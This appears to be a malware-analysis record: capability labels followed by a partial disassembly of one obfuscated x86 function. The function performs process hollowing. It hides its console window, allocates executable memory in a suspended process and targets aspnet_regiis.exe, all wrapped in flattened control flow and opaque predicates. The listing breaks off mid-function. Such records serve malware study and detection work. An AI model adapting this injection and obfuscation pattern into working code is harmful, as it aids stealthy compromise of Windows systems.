Function at 0x10002ec0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xf8
mov eax, dword [0x10068800]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0xfa], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0xf9], al
mov dword [ebp - 0x100], 0x55840efa
mov eax, dword [ebp - 0x100]
mov dword [ebp - 0x104], eax
sub eax, 0x80352242
je 0x1000b9d3
jmp 0x10002f33
mov eax, dword [ebp - 0x104]
sub eax, 0x81087f75
je 0x1000ab7d
jmp 0x10002f49
mov eax, dword [ebp - 0x104]
sub eax, 0x814ae2b6
je 0x10008be3
jmp 0x10002f5f
mov eax, dword [ebp - 0x104]
sub eax, 0x818aaff0
je 0x1000a527
jmp 0x10002f75
mov eax, dword [ebp - 0x104]
sub eax, 0x82bde657
je 0x100094e9
jmp 0x10002f8b
mov eax, dword [ebp - 0x104]
sub eax, 0x83909562
je 0x1000afeb
jmp 0x10002fa1
mov eax, dword [ebp - 0x104]
sub eax, 0x84a8c55b
je 0x1000b6bd
jmp 0x10002fb7
mov eax, dword [ebp - 0x104]
sub eax, 0x84dc1365
je 0x10007e53
jmp 0x10002fcd
mov eax, dword [ebp - 0x104]
sub eax, 0x866fa249
je 0x10009c67
jmp 0x10002fe3
mov eax, dword [ebp - 0x104]
sub eax, 0x87044819
je 0x10005ecb
jmp 0x10002ff9
mov eax, dword [ebp - 0x104]
sub eax, 0x8715cb40
je 0x1000875b
jmp 0x1000300f
mov eax, dword [ebp - 0x104]
sub eax, 0x871693b6
je 0x1000a62d
jmp 0x10003025
mov eax, dword [ebp - 0x104]
sub eax, 0x87a60140
je 0x100060b4
jmp 0x1000303b
mov eax, dword [ebp - 0x104]
sub eax, 0x87dd676b
je 0x100090e7
jmp 0x10003051
mov eax, dword [ebp - 0x104]
sub eax, 0x88dfffdc
je 0x100058b7
jmp 0x10003067
mov eax, dword [ebp - 0x104]
sub eax, 0x891b9f2d
je 0x10006c03
jmp 0x1000307d
mov eax, dword [ebp - 0x104]
sub eax, 0x89339f8a
je 0x1000bb20
jmp 0x10003093
mov eax, dword [ebp - 0x104]
sub eax, 0x8934ae49
je 0x10008602
jmp 0x100030a9
mov eax, dword [ebp - 0x104]
sub eax, 0x897706d1
je 0x1000b79e
jmp 0x100030bf
mov eax, dword [ebp - 0x104]
sub eax, 0x8ac7696c
je 0x100061f2
jmp 0x100030d5
mov eax, dword [ebp - 0x104]
sub eax, 0x8b69184c
je 0x1000699e
jmp 0x100030eb
mov eax, dword [ebp - 0x104]
sub eax, 0x8b78247e
je 0x100094da
jmp 0x10003101
mov eax, dword [ebp - 0x104]
sub eax, 0x8c6cd601
je 0x1000a25a
jmp 0x10003117
mov eax, dword [ebp - 0x104]
sub eax, 0x8d4dec5c
je 0x10008295
jmp 0x1000312d
mov eax, dword [ebp - 0x104]
sub eax, 0x8e52b880
je 0x1000bafc
jmp 0x10003143
mov eax, dword [ebp - 0x104]
sub eax, 0x8ef1eaea
je 0x1000b540
jmp 0x10003159
mov eax, dword [ebp - 0x104]
sub eax, 0x8f764fcf
je 0x10008d1e
jmp 0x1000316f
mov eax, dword [ebp - 0x104]
sub eax, 0x8fcaec5b
je 0x10006430
jmp 0x10003185
mov eax, dword [ebp - 0x104]
sub eax, 0x903c0425
je 0x100070e3
jmp 0x1000319b
mov eax, dword [ebp - 0x104]
sub eax, 0x905ea83f
je 0x10007e11
jmp 0x100031b1
mov eax, dword [ebp - 0x104]
sub eax, 0x908a1fa7
je 0x10007fd4
jmp 0x100031c7
mov eax, dword [ebp - 0x104]
sub eax, 0x92165a47
je 0x10006b53
jmp 0x100031dd
mov eax, dword [ebp - 0x104]
sub eax, 0x931e57a8
je 0x10008307
jmp 0x100031f3
mov eax, dword [ebp - 0x104]
sub eax, 0x94685690
je 0x10009ef6
jmp 0x10003209
mov eax, dword [ebp - 0x104]
sub eax, 0x947e03b7
je 0x100095ef
jmp 0x1000321f
mov eax, dword [ebp - 0x104]
sub eax, 0x959c82ad
je 0x100061d1
jmp 0x10003235
mov eax, dword [ebp - 0x104]
sub eax, 0x95b27028
je 0x10006cc6
jmp 0x1000324b
mov eax, dword [ebp - 0x104]
sub eax, 0x96a4905c
je 0x1000688a
jmp 0x10003261
mov eax, dword [ebp - 0x104]
sub eax, 0x975845a8
je 0x1000b4aa
jmp 0x10003277
mov eax, dword [ebp - 0x104]
sub eax, 0x9785987d
je 0x1000729f
jmp 0x1000328d
mov eax, dword [ebp - 0x104]
sub eax, 0x97a5b128
je 0x10005c46
jmp 0x100032a3
mov eax, dword [ebp - 0x104]
sub eax, 0x97f437c5
je 0x10005a95
jmp 0x100032b9
mov eax, dword [ebp - 0x104]
sub eax, 0x97fcc43e
je 0x100076e1
jmp 0x100032cf
mov eax, dword [ebp - 0x104]
sub eax, 0x9881406d
je 0x100067e1
jmp 0x100032e5
mov eax, dword [ebp - 0x104]
sub eax, 0x98de82ba
je 0x1000ac44
jmp 0x100032fb
mov eax, dword [ebp - 0x104]
sub eax, 0x99020869
je 0x100055e0
jmp 0x10003311
mov eax, dword [ebp - 0x104]
sub eax, 0x990465e8
je 0x10008a53
jmp 0x10003327
mov eax, dword [ebp - 0x104]
sub eax, 0x995df95e
je 0x10005779
jmp 0x1000333d
mov eax, dword [ebp - 0x104]
sub eax, 0x99e703db
je 0x100079f3
jmp 0x10003353
mov eax, dword [ebp - 0x104]
sub eax, 0x9a076def
je 0x1000ae51
jmp 0x10003369
mov eax, dword [ebp - 0x104]
sub eax, 0x9a946f46
je 0x10008ab3
jmp 0x1000337f
mov eax, dword [ebp - 0x104]
sub eax, 0x9afa4e86
je 0x1000adfe
jmp 0x10003395
mov eax, dword [ebp - 0x104]
sub eax, 0x9b2723ba
je 0x10006596
jmp 0x100033ab
mov eax, dword [ebp - 0x104]
sub eax, 0x9b583a87
je 0x1000b618
jmp 0x100033c1
mov eax, dword [ebp - 0x104]
sub eax, 0x9bf15a9e
je 0x1000a61e
jmp 0x100033d7
mov eax, dword [ebp - 0x104]
sub eax, 0x9c6516ef
je 0x10009910
jmp 0x100033ed
mov eax, dword [ebp - 0x104]
sub eax, 0x9c703b95
je 0x100064b7
jmp 0x10003403
mov eax, dword [ebp - 0x104]
sub eax, 0x9cc55ed6
je 0x10009a5a
jmp 0x10003419
mov eax, dword [ebp - 0x104]
sub eax, 0x9cf0a1c8
je 0x1000b3a5
jmp 0x1000342f
mov eax, dword [ebp - 0x104]
sub eax, 0x9da0b25a
je 0x1000b51f
jmp 0x10003445
mov eax, dword [ebp - 0x104]
sub eax, 0x9df3d314
je 0x10008dfe
jmp 0x1000345b
mov eax, dword [ebp - 0x104]
sub eax, 0x9e00697f
je 0x10005e1c
jmp 0x10003471
mov eax, dword [ebp - 0x104]
sub eax, 0x9e6877b8
je 0x10009034
jmp 0x10003487
mov eax, dword [ebp - 0x104]
sub eax, 0x9eabe557
je 0x1000a67c
jmp 0x1000349d
mov eax, dword [ebp - 0x104]
sub eax, 0x9f3211dd
je 0x10006659
push eax
mov eax, esp
mov dword [ebp - 0xf8], eax
push eax
mov eax, esp
mov dword [ebp - 0xf4], eax
push eax
mov eax, esp
mov dword [ebp - 0xf0], eax
push eax
mov eax, esp
mov dword [ebp - 0xec], eax
push eax
mov eax, esp
mov dword [ebp - 0xe8], eax
push eax
mov eax, esp
mov dword [ebp - 0xe4], eax
push eax
mov eax, esp
mov dword [ebp - 0xe0], eax
push eax
mov eax, esp
mov dword [ebp - 0xdc], eax
push eax
mov eax, esp
mov dword [ebp - 0xd8], eax
push eax
mov eax, esp
mov dword [ebp - 0xd4], eax
push eax
mov eax, esp
mov dword [ebp - 0xd0], eax
push eax
mov eax, esp
mov dword [ebp - 0xcc], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0xc8], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0xc4], eax
push eax
mov eax, esp
mov dword [ebp - 0xc0], eax
push eax
mov eax, esp
mov dword [ebp - 0xbc], eax
push eax
mov eax, esp
mov dword [ebp - 0xb8], eax
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
mov edx, ecx
add edx, 0x646659f3
sub edx, 1
sub edx, 0x646659f3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xecb6b421
mov ecx, 0xd3a50d36
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000bb8b
push eax
mov eax, esp
mov dword [ebp - 0x88], eax
push eax
mov eax, esp
mov dword [ebp - 0x84], eax
push eax
mov eax, esp
mov dword [ebp - 0x80], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.10001190
add esp, 4
lea eax, str.ntdll.dll
sub esp, 4
mov dword [esp], eax
call fcn.10001190
add esp, 4
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x100183ac]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x100183a8]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x100183a4]
movss dword [eax], xmm0
mov dl, 1
mov eax, 0x25a2fcd6
mov ecx, 0x57fa45d6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000bb8b
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x10018234]
movss dword [eax], xmm0
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
mov edx, ecx
sub edx, 0xa2510109
sub edx, 1
add edx, 0xa2510109
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7f2e3490
mov ecx, 0x2791d1c5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000bb8b
mov dword [ebp - 0x100], 0x70cfb6e1
jmp 0x1000bb8b
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x10018388]
movss dword [eax], xmm0
mov dword [ebp - 0x100], 0x7056e52c
jmp 0x1000bb8b
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x10018224]
movss dword [eax], xmm0
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa485192b
mov ecx, 0x6cfdf0cf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000bb8b
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
mov edx, ecx
sub edx, 0xf0fa6a0e
sub edx, 1
add edx, 0xf0fa6a0e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xfabec8a9
mov ecx, 0x36c209
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000bb8b
mov dl, 1
mov eax, 0x51a860b8
mov ecx, 0xf3e308a3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000bb8b
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x1001834c]
movss dword [eax], xmm0
mov dword [ebp - 0x100], 0x8ac7696c
jmp 0x1000bb8b
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
mov edx, ecx
add edx, 0x650589ae
sub edx, 1
sub edx, 0x650589ae
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xcd40808e
mov ecx, 0xf8137853
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000bb8b
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x78992cfc
mov ecx, 0x16788106
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000bb8b
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x10018344]
movss dword [eax], xmm0
mov dword [ebp - 0x100], 0x317e30f6
jmp 0x1000bb8b
mov dword [ebp - 0x100], 0x427bdbc0
jmp 0x1000bb8b
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x10018208]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x10018204]
movss dword [eax], xmm0
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
mov edx, ecx
add edx, 0x3407977e
sub edx, 1
sub edx, 0x3407977e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf2e92d2a
mov ecx, 0x53db6fea
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000bb8b
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
mov edx, ecx
add edx, 0x841188c5
sub edx, 1
sub edx, 0x841188c5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5e360a5
mov ecx, 0x7e3e16c2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000bb8b
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x10018334]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x10018330]
movss dword [eax], xmm0
mov dword [ebp - 0x100], 0x1693814b
jmp 0x1000bb8b
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x100181fc]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x100181f8]
movss dword [eax], xmm0
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x9fa56ad8
mov ecx, 0x7ef47270
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000bb8b
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
mov edx, eax
add edx, 0x940f5f48
sub edx, 1
sub edx, 0x940f5f48
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5e9ceb28
mov ecx, 0x5f7c1eda
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000bb8b
mov dl, 1
mov eax, 0xc2d3278c
mov ecx, 0xbcf7ad64
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000bb8b
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
mov edx, eax
add edx, 0x4a7face4
sub edx, 1
sub edx, 0x4a7face4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x611c62a
mov ecx, 0x51fcc7da
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000bb8b
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
mov edx, eax
add edx, 0x1b0085bf
sub edx, 1
sub edx, 0x1b0085bf
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfbd8038c
mov ecx, 0x7b42f06a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000bb8b
mov eax, dword [ebp - 0xe8]
movss xmm0, dword [0x100182ec]
movss dword [eax], xmm0
mov dword [ebp - 0x100], 0x58425184
jmp 0x1000bb8b
mov eax, dword [ebp - 0xe8]
movss xmm0, dword [0x100182d4]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xe8]
movss xmm0, dword [0x100182d0]
movss dword [eax], xmm0
mov dword [ebp - 0x100], 0xcca83766
jmp 0x1000bb8b
mov eax, dword [ebp - 0xe4]
movss xmm0, dword [0x100182bc]
movss dword [eax], xmm0
mov dword [ebp - 0x100], 0xa5e76e98
jmp 0x1000bb8b
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
mov edx, ecx
sub edx, 0xbe9411a1
sub edx, 1
add edx, 0xbe9411a1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe03e590d
mov ecx, 0xdac309b7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000bb8b
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
mov edx, ecx
sub edx, 0xb1d89533
sub edx, 1
add edx, 0xb1d89533
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf14d1ee4
mov ecx, 0xff04dcc5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000bb8b
mov eax, dword [ebp - 0xe4]
movss xmm0, dword [0x100182a0]
movss dword [eax], xmm0
mov dword [ebp - 0x100], 0x8ce602a
jmp 0x1000bb8b
mov eax, dword [ebp - 0xe4]
movss xmm0, dword [0x100181b0]
movss dword [eax], xmm0
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
mov edx, ecx
sub edx, 0xe1940408
sub edx, 1
add edx, 0xe1940408
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf34d43d7
mov ecx, 0x30c5200f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000bb8b
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
mov edx, eax
add edx, 0x38e4b361
sub edx, 1
sub edx, 0x38e4b361
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x84a8c55b
mov ecx, 0x430a660b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000bb8b
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
mov edx, ecx
sub edx, 0x946768a8
sub edx, 1
add edx, 0x946768a8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x27d07ab4
mov ecx, 0xb97e6595
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000bb8b
mov dword [ebp - 0x100], 0x52bfd1c
jmp 0x1000bb8b
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
mov edx, eax
add edx, 0xb35ec23d
sub edx, 1
sub edx, 0xb35ec23d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x253ba5a7
mov ecx, 0xb0bf88cd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000bb8b
mov eax, dword [ebp - 0xdc]
movss xmm0, dword [0x10018270]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xdc]
movss xmm0, dword [0x1001826c]
movss dword [eax], xmm0
mov dword [ebp - 0x100], 0x19591d0d
jmp 0x1000bb8b
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
mov edx, eax
sub edx, 0x30363096
sub edx, 1
add edx, 0x30363096
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe2f68995
mov ecx, 0x232ac7d6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000bb8b
mov eax, dword [ebp - 0xdc]
movss xmm0, dword [0x10018194]
movss dword [eax], xmm0
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x651f3620
mov ecx, 0x5f517e69
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000bb8b
mov eax, dword [ebp - 0xdc]
movss xmm0, dword [0x10018254]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xdc]
movss xmm0, dword [0x10018250]
movss dword [eax], xmm0
mov dword [ebp - 0x100], 0x644f8848
jmp 0x1000bb8b
mov dword [ebp - 0x100], 0xb5dbeec2
jmp 0x1000bb8b
mov dword [ebp - 0x100], 0x82bde657
jmp 0x1000bb8b
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x36dd293f
mov ecx, 0x59722bc1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000bb8b
mov eax, dword [ebp - 0xbc]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov dword [ebp - 0x100], 0x59f13d4a
jmp 0x1000bb8b
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, eax
mov eax, dword [ebp - 0xd0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x100], 0xfd372347
jmp 0x1000bb8b
mov dl, byte [ebp - 0x61]
mov eax, 0x20998a7a
mov ecx, 0xa4eb4bd6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000bb8b
mov eax, dword [ebp - 0xcc]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0xc8]
mov ecx, dword [ecx]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x60], eax
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x31a462f6
mov ecx, 0xae0b2929
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000bb8b
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
mov edx, ecx
add edx, 0xca516799
sub edx, 1
sub edx, 0xca516799
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa2f023a5
mov ecx, 0xd024cea7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000bb8b
mov dl, byte [ebp - 0x4d]
mov eax, 0x4e88135f
mov ecx, 0x227a159
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000bb8b
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
mov edx, ecx
sub edx, 0xeffaa73
sub edx, 1
add edx, 0xeffaa73
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xaa167d43
mov ecx, 0xf38f7f4f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000bb8b
mov dword [ebp - 0x100], 0x871693b6
jmp 0x1000bb8b
mov edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0xcc]
mov esi, dword [eax]
mov eax, 0x64167f11
mov ecx, 0xaa414900
cmp edx, dword [esi + 0x34]
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000bb8b
mov edx, dword [ebp - 0x34]
mov eax, 0x9a076def
mov ecx, 0xac0b0e77
cmp dword [edx + 4], 0
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000bb8b
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
mov edx, eax
sub edx, 0x213e7aa5
sub edx, 1
add edx, 0x213e7aa5
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8e52b880
mov ecx, 0x1808c3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000bb8b
mov dword [ebp - 0x100], 0x399b7112
jmp 0x1000bb8b
mov eax, dword [ebp - 0xa4]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0xa4]
